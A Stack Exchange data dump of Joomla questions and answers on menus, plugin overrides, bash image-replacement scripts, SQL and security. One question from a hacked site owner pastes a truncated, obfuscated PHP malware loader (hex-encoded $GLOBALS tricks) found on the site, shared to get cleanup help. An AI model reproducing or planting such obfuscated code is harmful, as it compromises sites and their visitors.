  <row Id="22398" PostTypeId="1" CreationDate="2018-02-08T14:59:05.170" Score="0" ViewCount="122" Body="&lt;p&gt;I've been asked to create a sub-navigation page which would list all the links which are in a products page sections menu. The display needs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Product Section 1&#xA;     sub-1&#xA;     sub-2&#xA;     sub-3&#xA;Product Section 2&#xA;     sub-1&#xA;     sub-2&#xA;     sub-3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each item above needs to be clickable to go to those sections just like the regular drop-down menu does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a vertical menu module that does this? Or one that a new overlay or template written for it would accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2018-02-11T20:30:59.343" LastActivityDate="2018-02-11T20:30:59.343" Title="How to create a vertical indented menu?" Tags="|joomla-3.x|menu|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22399" PostTypeId="1" CreationDate="2018-02-08T16:46:48.787" Score="1" ViewCount="189" Body="&lt;p&gt;I'm trying to override the &quot;vmpayment&quot; plugin. I've changed the layout of the &quot;post_payment.php&quot; file and put the file in the following folder structure: templates/mytemplate/html/plg_vmpayment_standard_standard/post_payment.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is not working. The structure of the plugin is:&#xA;plugins/vmpayment/standard/standard/post_payment.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? I've changed it to exclude the last &quot;standard&quot; folder without success.&lt;/p&gt;&#xA;" OwnerUserId="9547" LastActivityDate="2018-10-13T23:00:02.193" Title="Virtuemart payment plugin override" Tags="|plugin|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22400" PostTypeId="2" ParentId="10741" CreationDate="2018-02-08T17:23:06.967" Score="0" Body="&lt;p&gt;Here is what worked for me. I'm making an AJAX call, but you can do whatever you want. I added the following to my javascript code in the document ready function. It is stolen and edited from the actual bootstrap framework code, but doesn't override it. I guess you can add multiple functions to the onclick event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $(document).on('click.tab.data-api', '[data-toggle=&quot;tab&quot;], [data-toggle=&quot;pill&quot;]', function (e) {&#xA;        /* These two calls are made in the bootstrap framework code and do not seem to be necessary here. I think this call is adding, not overriding the bootstrap code.*/&#xA;        //e.preventDefault();&#xA;        //$(this).tab('show');&#xA;        var tab_link = e.target.toString();&#xA;        var start = tab_link.indexOf('#')+1;&#xA;        var tabval = tab_link.substring(start);&#xA;&#xA;        // Make AJAX call to set active_tab.&#xA;        jQuery.ajax({&#xA;            type: 'POST',&#xA;            url: 'index.php?option=com_myjoomlacomponent&amp;amp;format=raw&amp;amp;view=diagnosis&amp;amp;layout=edit&amp;amp;action=setactivetab&amp;amp;tabval='+tabval,&#xA;            dataType: 'html',&#xA;            success: function (data, status, jq) {&#xA;                console.log(status);&#xA;            },&#xA;            error: function (jq, status, e) {&#xA;                console.log('Made AJAX call in document.ready function, error is: '+e+', status is: '+status);&#xA;            }&#xA;        });&#xA;    })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11972" LastActivityDate="2018-02-08T17:23:06.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22401" PostTypeId="2" ParentId="22382" CreationDate="2018-02-08T20:42:48.097" Score="0" Body="&lt;p&gt;Firstly I would try to solve using a duplicate &quot;test&quot; local server, preferably Linux based, as bash/linux scripting lends itself better to this sort of problem. Only after successful testing would I then load the different files back to the original server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I hope you still have the original default.jpg (or whatever) image. I would then create say a md5 checksum of this image which I could compare with the checksums of your images saved in 'media/com_mtree/images' -- small bash script needed. This so that you can differentiate between the default image and any other images. On a checksum match the old files can be overwritten by the new default image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no experience of either of the two add-ins (have just looked them up), it would be useful to check in advance if there might be different resolutions (size) of the default image, which would have to be individually replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more detailed help you can send me a pm.&lt;/p&gt;&#xA;" OwnerUserId="12216" LastActivityDate="2018-02-08T20:42:48.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22402" PostTypeId="2" ParentId="22395" CreationDate="2018-02-09T00:12:11.117" Score="1" Body="&lt;p&gt;Sounds like you just need to drop a variable into the session like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$pass = false;&#xA;// if the pass query is ever present, then set pass to true and add it to the session as well&#xA;if (isset($_GET['pass'])) {&#xA;    $pass = true;&#xA;    $session-&amp;gt;set('pass', $pass);&#xA;} else {&#xA;    // no pass query, but check the session to see if this person already has a pass from an earlier request. The second param is the default value.&#xA;    $pass = $session-&amp;gt;get('pass',false);&#xA;}&#xA;// now just check $pass for truthiness.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note also that the orthodox way of doing this is to customise the site offline page and then allow offline access to some users. But you do you.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-02-09T00:12:11.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22403" PostTypeId="2" ParentId="22382" CreationDate="2018-02-09T13:39:55.847" Score="0" Body="&lt;p&gt;OK I have written two bash scripts. The first one creates directory of images as well as a &quot;default&quot; image. (Note I used imagemagick to create the default old and new images, so this might have to be installed first).&#xA;The second one does all the work to replace the old default file with a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script create_test_images.sh&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;!/bin/bash&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;20180208 R.Morgan created -- see problem &lt;a href=&quot;https://joomla.stackexchange.com/questions/22382/mosets-tree-change-default-image-for-1000s-listings/22401#22401&quot;&gt;Mosets Tree - Change default image for 1000&amp;#39;s listings&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Requires ImageMagick&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Default file extension&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEEXT=jpg&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Default file prefix for product files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEPREFIX=f_&#xA;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Subdirectory (from this script) to place the image files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;SUBDIR=./media/com_mtree/images&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;set the height and width of default (old and new) images&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;IMAGEWIDTH=640&#xA;IMAGEHEIGHT=250&#xA;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;names of old and new default files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEDEFAULTORIG=default.${FILEEXT}&#xA;FILEDEFAULTNEW=default_new.${FILEEXT}&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;use imagemagick to create &quot;default&quot;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;convert -size ${IMAGEWIDTH}x${IMAGEHEIGHT} -background white  -fill #ed303c -gravity East label:&quot;Default&quot; -quality 100 ${FILEDEFAULTORIG}&#xA;convert -size ${IMAGEWIDTH}x${IMAGEHEIGHT} -background yellow -fill #ed303c -gravity East label:&quot;Default-NEW!&quot; -quality 100 ${FILEDEFAULTNEW}&#xA;#&#xA;file ${FILEDEFAULTORIG}&#xA;file ${FILEDEFAULTNEW}&#xA;#&#xA;md5sum ${FILEDEFAULTORIG}&#xA;md5sum ${FILEDEFAULTNEW}&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;now create selection of default files with random file names&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;create our images subdirectory if it is not present&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;if [ ! -d &quot;${SUBDIR}&quot; ]; then &#xA;    mkdir -p &quot;${SUBDIR}&quot; &#xA;fi&#xA;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;create 10000 &quot;default&quot; files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;NUMBERDEFAULT=10000&#xA;for ((n=0;n&#xA;&#xA;&lt;h1&gt;create 100 &quot;random&quot; files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;NUMBERRANDOM=100&#xA;for ((n=0;n&#xA;&#xA;&lt;p&gt;Script replace_defaults.sh&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;!/bin/bash&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;20180208 R.Morgan created -- see problem &lt;a href=&quot;https://joomla.stackexchange.com/questions/22382/mosets-tree-change-default-image-for-1000s-listings/22401#22401&quot;&gt;Mosets Tree - Change default image for 1000&amp;#39;s listings&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;This second file -- the one that replaces old default files with a new one&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&#xA;#&#xA;#&#xA;#&#xA;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The first file required ImageMagick&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Default file extension&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEEXT=jpg&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Default file prefix for product files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEPREFIX=f_&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Backup extension&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;BACKUPEXT=bak&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Subdirectory (from this script) to place the image files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;SUBDIR=./media/com_mtree/images&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;set the height and width of default (old and new) images&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;IMAGEWIDTH=640&#xA;IMAGEHEIGHT=250&#xA;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;names of old and new default files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FILEDEFAULTORIG=default.${FILEEXT}&#xA;FILEDEFAULTNEW=default_new.${FILEEXT}&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;now create selection of default files with random file names&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;#&#xA;#&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;create our images subdirectory is present&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;if [ ! -d &quot;${SUBDIR}&quot; ]; then &#xA;    echo -e &quot;${SUBDIR} not found please correct and try again!&quot;&#xA;else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if [ ! -e &quot;${FILEDEFAULTORIG}&quot; ]; then &#xA;     echo -e &quot;Original default file ${FILEDEFAULTORIG} not found please correct and try again!&quot;&#xA;  else&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if [ ! -e &quot;${FILEDEFAULTNEW}&quot; ]; then &#xA;   echo -e &quot;New default file ${FILEDEFAULTNEW} not found please correct and try again!&quot;&#xA;else&#xA;&#xA;  # save and change IFS (necessary to avoid probles with spaces etc within file names) &#xA;  OLDIFS=$IFS&#xA;  IFS=$'\n'&#xA;&#xA;  # display info about old and new default files&#xA;  file ${FILEDEFAULTORIG}&#xA;  file ${FILEDEFAULTNEW}&#xA;  #&#xA;  md5sum ${FILEDEFAULTORIG}&#xA;  md5sum ${FILEDEFAULTNEW}&#xA;&#xA;&#xA;  # get the md5sums for the original default&#xA;  _MD5_ORIG=$(md5sum &quot;${FILEDEFAULTORIG}&quot;|cut -d\  -f1)&#xA;&#xA;  FILELIST=$(find &quot;${SUBDIR}&quot; -type f -not -iname &quot;*${BACKUPEXT}&quot;  )&#xA;&#xA;  for FILE in ${FILELIST}&#xA;    do&#xA;&#xA;      _MD5_FILE=$(md5sum &quot;${FILE}&quot;|cut -d\  -f1)&#xA;&#xA;      echo -e &quot;${_MD5_FILE}\t\t${FILE}&quot;&#xA;&#xA;      if [ &quot;${_MD5_FILE}&quot; == &quot;${_MD5_ORIG}&quot; ]; then&#xA;        echo -e &quot;An Original Default File : ${FILE}&quot;&#xA;&#xA;        _DIRNAME=&quot;${FILE%/*}&quot;&#xA;        _FILE_BASENAME=&quot;${FILE##*/}&quot;&#xA;        _FILE_BASENAME0=&quot;${_FILE_BASENAME%.*}&quot;&#xA;        _FILE_EXTENSION=&quot;${FILE##*.}&quot;&#xA;        _FILE_BACKUP=&quot;${_DIRNAME}/${_FILE_BASENAME0}.${BACKUPEXT}&quot;&#xA;&#xA;        mv -b -f &quot;${FILE}&quot; &quot;${_FILE_BACKUP}&quot;&#xA;        cp -b &quot;${FILEDEFAULTNEW}&quot; &quot;${FILE}&quot; &#xA;&#xA;      fi&#xA;&#xA;&#xA;    done&#xA;&#xA;&#xA;&#xA;  # restore IFS&#xA;  IFS=$OLDIFS#&#xA;&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fi&#xA;fi&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;------------------------------------------------------------&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Note when copying into the new script files to get the right line endings! ie LF and not CR+LF&lt;/p&gt;&#xA;" OwnerUserId="12216" LastActivityDate="2018-02-09T13:39:55.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22405" PostTypeId="2" ParentId="18001" CreationDate="2018-02-10T10:37:05.580" Score="4" Body="&lt;p&gt;One approach I read about to making your component a proper format for versioning and zipping is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take a copy of your component and install it;&lt;/li&gt;&#xA;&lt;li&gt;Remove the installed component folders within your Joomla installation (&lt;code&gt;administrator/components/com_component&lt;/code&gt;, &lt;code&gt;components/com_component&lt;/code&gt;, &lt;code&gt;media/com_component&lt;/code&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Then create symbolic links from those folders to folders within a copy of your component;&lt;/li&gt;&#xA;&lt;li&gt;The referenced copy of your component can be properly versioned using Git.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there are any database changes (e.g. SQL installation script changes) then one can execute some commands (e.g. &lt;code&gt;ALTER TABLE&lt;/code&gt; or &lt;code&gt;CREATE TABLE&lt;/code&gt;) to add the fields or tables, if one does not want to reinstall the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to just run the SQL uninstall script for your database and then run the SQL install script again, maybe even via a Git hook or semi-automatic via a script which invokes MySQL (or some other database) to execute the SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course one can always remove the component from the Joomla installation and install again. If so, then the process in this post above needs to be repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creating of symbolic links could be automated using a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your component to live inside the Joomla installation directory, this is also possible, e.g. living in say &lt;code&gt;_source/components/com_mycomponent&lt;/code&gt;, then you just need to add the &lt;code&gt;_source&lt;/code&gt; folder to your &lt;code&gt;.gitignore&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://vdespa.com/joomla-3-getting-started-with-extension-development/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vdespa.com/joomla-3-getting-started-with-extension-development/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11529" LastActivityDate="2018-02-10T10:37:05.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22406" PostTypeId="2" ParentId="21754" CreationDate="2018-02-10T10:44:54.727" Score="1" Body="&lt;p&gt;My question was answered in the comments section by user TryHarder. I'll formulate it as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approach I'm using is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Take a copy of your component and install it;&lt;/li&gt;&#xA;&lt;li&gt;Remove the installed component folders within your Joomla installation (&lt;code&gt;administrator/components/com_component&lt;/code&gt;, &lt;code&gt;components/com_component&lt;/code&gt;, &lt;code&gt;media/com_component&lt;/code&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Then create symbolic links from those folders to folders within a copy of your component;&lt;/li&gt;&#xA;&lt;li&gt;The referenced copy of your component can be properly versioned using Git.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there are any database changes (e.g. SQL installation script changes) then one can execute some commands (e.g. &lt;code&gt;ALTER TABLE&lt;/code&gt; or &lt;code&gt;CREATE TABLE&lt;/code&gt;) to add the fields or tables, if one does not want to reinstall the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to just run the SQL uninstall script for your database and then run the SQL install script again, maybe even via a Git hook or semi-automatic via a script which invokes MySQL (or some other database) to execute the SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course one can always remove the component from the Joomla installation and install again. If so, then the process in this post above needs to be repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creating of symbolic links could be automated using a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your component to live inside the Joomla installation directory, this is also possible, e.g. living in say &lt;code&gt;_source/components/com_mycomponent&lt;/code&gt;, then you just need to add the &lt;code&gt;_source&lt;/code&gt; folder to your &lt;code&gt;.gitignore&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://vdespa.com/joomla-3-getting-started-with-extension-development/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vdespa.com/joomla-3-getting-started-with-extension-development/&lt;/a&gt; (via user TryHarder).&lt;/p&gt;&#xA;" OwnerUserId="11529" LastActivityDate="2018-02-10T10:44:54.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22409" PostTypeId="1" CreationDate="2018-02-11T15:08:45.613" Score="3" ViewCount="159" Body="&lt;p&gt;I have not a deep experience with the ins and outs of Smart Search.&#xA;I am trying to figure out why I am getting different search results after searching with the exact same term in those 2 instances of the same database but the one is on a 3.8.5 Joomla install and the other is on a 3.7.5.&#xA;The content is on Zoo and it is identical in both sites. And the only smart search plugin that is enabled is that of the zoo smart search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that for the 3.7.5 site that returns more results, I got a database error of full &lt;code&gt;#__finder_token&lt;/code&gt; table, during indexing and I had to update MySQL configuration in order to complete the procedure. Overall the indexing is taking longer for this website, like it has more work to do than the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast on the 3.8.5 site, indexing was progressing a lot faster and with no the above database problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that both these 2 websites are on the same server with the exact same setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the statistics of Smart Search I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.7.5 Site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The indexed content on this site includes &lt;strong&gt;287,634&lt;/strong&gt; terms across 478&#xA;  links with &lt;strong&gt;171&lt;/strong&gt; attributes in 9 branches.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3.8.5 Site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The indexed content on this site includes &lt;strong&gt;8,883&lt;/strong&gt; terms across 478 links&#xA;  with &lt;strong&gt;165&lt;/strong&gt; attributes in 9 branches.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I compared all the settings relative to smart search that I could think of, and they seem identical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly affect the Smart Search indexing, so I end up with such big differences in the results?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-02-11T15:08:45.613" Title="Smart Search - Same Content but Different indexes and front-end results" Tags="|smartsearch|zoo|joomla3.8.5|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22410" PostTypeId="1" CreationDate="2018-02-12T17:04:02.087" Score="2" ViewCount="293" Body="&lt;p&gt;I am in the same case discussed on &lt;a href=&quot;https://stackoverflow.com/questions/11709043/mysql-update-column-with-value-from-another-table&quot;&gt;https://stackoverflow.com/questions/11709043/mysql-update-column-with-value-from-another-table&lt;/a&gt;, that is, I need to copy the value of a column from tableA to tableB based on a common column in each table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the suggested code inside of PHPMyAdmin, and it works perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE TableB &#xA;SET TableB.value = (&#xA;    SELECT TableA.value &#xA;    FROM TableA&#xA;    WHERE TableA.name = TableB.name&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that I have been unable to translate this into something that I can use inside of my &lt;code&gt;mod_xxx.php&lt;/code&gt; file. On the same Stack Overflow page, there is a suggested code that uses &lt;code&gt;mysql_query&lt;/code&gt; and supposedly works, but Joomla doesn´t accept it. I know that any code has to be translated to Joomla's coding standards but I have spent three complete days trying it with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following code unsuccessfully:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query -&amp;gt;UPDATE ('#__gruposlocales')&#xA;       -&amp;gt;SET ('#__gruposlocales.name') =&#xA;             (SELECT ('#__community_groups.name')&#xA;              FROM ('#__community_groups')&#xA;              WHERE ('#__community_groups.ownerid = #__gruposlocales.id'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you may guess, I am not knowledgeable on PHP coding, so I am in serious need of your help, please. My question is how can I translate the upper code into something that Joomla will take?&lt;/p&gt;&#xA;" OwnerUserId="12232" LastEditorUserId="11451" LastEditDate="2018-02-13T08:03:23.590" LastActivityDate="2020-02-14T22:43:42.917" Title="How can I translate SQL code into something that Joomla will take?" Tags="|php|mysql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22412" PostTypeId="1" CreationDate="2018-02-13T03:44:29.177" Score="3" ViewCount="38" Body="&lt;p&gt;In the Akeeba Backup docs, in the section &quot;&lt;a href=&quot;https://www.akeebabackup.com/documentation/akeeba-backup-documentation/securing-temp-output-directories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Securing the backup output directory&lt;/a&gt;&quot; the following security recommendation is provided&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using a well known location would allow an attacker exploiting a security issue in a &lt;strong&gt;third party component to gain access to the backup archives&lt;/strong&gt;. The only way around that is using a different directory, ideally one above your site's root.&#xA;  [emphasis added]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems to me that if one component can gain access to a directory (even one above the root), then any component can gain access to the same directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, therefore, is: Is it possible to secure a directory so that only a specific component (i.e. Akeeba Backup) can gain access to it? If yes, how would that be done?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2018-02-14T19:35:04.540" Title="How to prevent directory access by a third party component?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22415" PostTypeId="1" CreationDate="2018-02-14T10:26:59.400" Score="2" ViewCount="309" Body="&lt;p&gt;my sites has been hacked and what I could find online it was a Monero Crypto-currency-mining hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the usual security precousions on my site - the one that I usually do on Joomla pages, but its not working. The malicious code is coming back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any experience and suggestions what could I also do to secure Joomla Website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know which &quot;back door&quot; in extension or Joomla itself is it using for rewriting or adding code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$d8f437 = 62;$GLOBALS['a8f0ec1e5']=Array();global$a8f0ec1e5;$a8f0ec1e5=$GLOBALS;${&quot;\x47\x4c\x4fB\x41\x4c\x53&quot;}['dba283']=&quot;\x73\x77\x5b\x55\x50\x27\x2b\x3b\x6d\x6c\x22\x2c\x44\x47\x23\x3e\x3f\x68\x35\x76\x30\x3a\x5a\x20\x2f\x28\x7e\x53\x43\x79\x58\x5d\x2e\x72\x64\x3d\x75\x6a\x62\x4c\x7b\x56\x69\x7c\x31\x52\x4e\x2d\x26\x25\x51\x46\x4d\x6e\x78\x67\x74\x48\x66\x38\x4f\x65\x29\x71\x33\x3c\x34\x59\x39\x21\x57\x24\x42\x60\x70\x5c\x7d\xa\x6f\x5e\x5f\x32\x7a\x36\xd\x54\x61\x41\x9\x40\x63\x4b\x37\x2a\x49\x6b\x45\x4a&quot;;$a8f0ec1e5[$a8f0ec1e5['dba283'][56].$a8f0ec1e5['dba283'][34].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'][66].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'][90]]=$a8f0ec1e5['dba283'][90].$a8f0ec1e5['dba283'][17].$a8f0ec1e5['dba283'][33];$a8f0ec1e5[$a8f0ec1e5['dba283'][63].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][38].$a8f0ec1e5['dba283'][92].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][68].$a8f0ec1e5['dba283'][86].$a8f0ec1e5['dba283'][58]]=$a8f0ec1e5['dba283'][78].$a8f0ec1e5['dba283'][33].$a8f0ec1e5['dba283'][34];$a8f0ec1e5[$a8f0ec1e5['dba283'][63].$a8f0ec1e5['dba283'][86].$a8f0ec1e5['dba283'][61].$a8f0ec1e5['dba283'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2019-09-07T08:53:35.373" Title="How to secure Joomla from Monero Crypto-currency-mining hack" Tags="|joomla-3.x|hacked|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22416" PostTypeId="2" ParentId="22415" CreationDate="2018-02-14T11:13:03.103" Score="4" Body="&lt;p&gt;Finding the &quot;backdoor&quot; might be hard. You can check the access logs for strange requests. Maybe your hosting provider offers other logs like (s)FTP connection logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend installing Akeeba Admin Tools to prevent basic attacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.akeebabackup.com/products/admin-tools.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good source for ideas to secure a site is this: &lt;a href=&quot;https://www.bluebridgedev.com/blog/entry/how-to-secure-a-joomla-site&quot; rel=&quot;noreferrer&quot;&gt;https://www.bluebridgedev.com/blog/entry/how-to-secure-a-joomla-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, that blog is worth a read: &lt;a href=&quot;https://www.bluebridgedev.com/blog&quot; rel=&quot;noreferrer&quot;&gt;https://www.bluebridgedev.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For possible new security issues, I recommend subscribing to the RSS feed of: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre&quot; rel=&quot;noreferrer&quot;&gt;https://developer.joomla.org/security-centre&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vel.joomla.org/live-vel&quot; rel=&quot;noreferrer&quot;&gt;https://vel.joomla.org/live-vel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.exploit-db.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-02-14T11:13:03.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
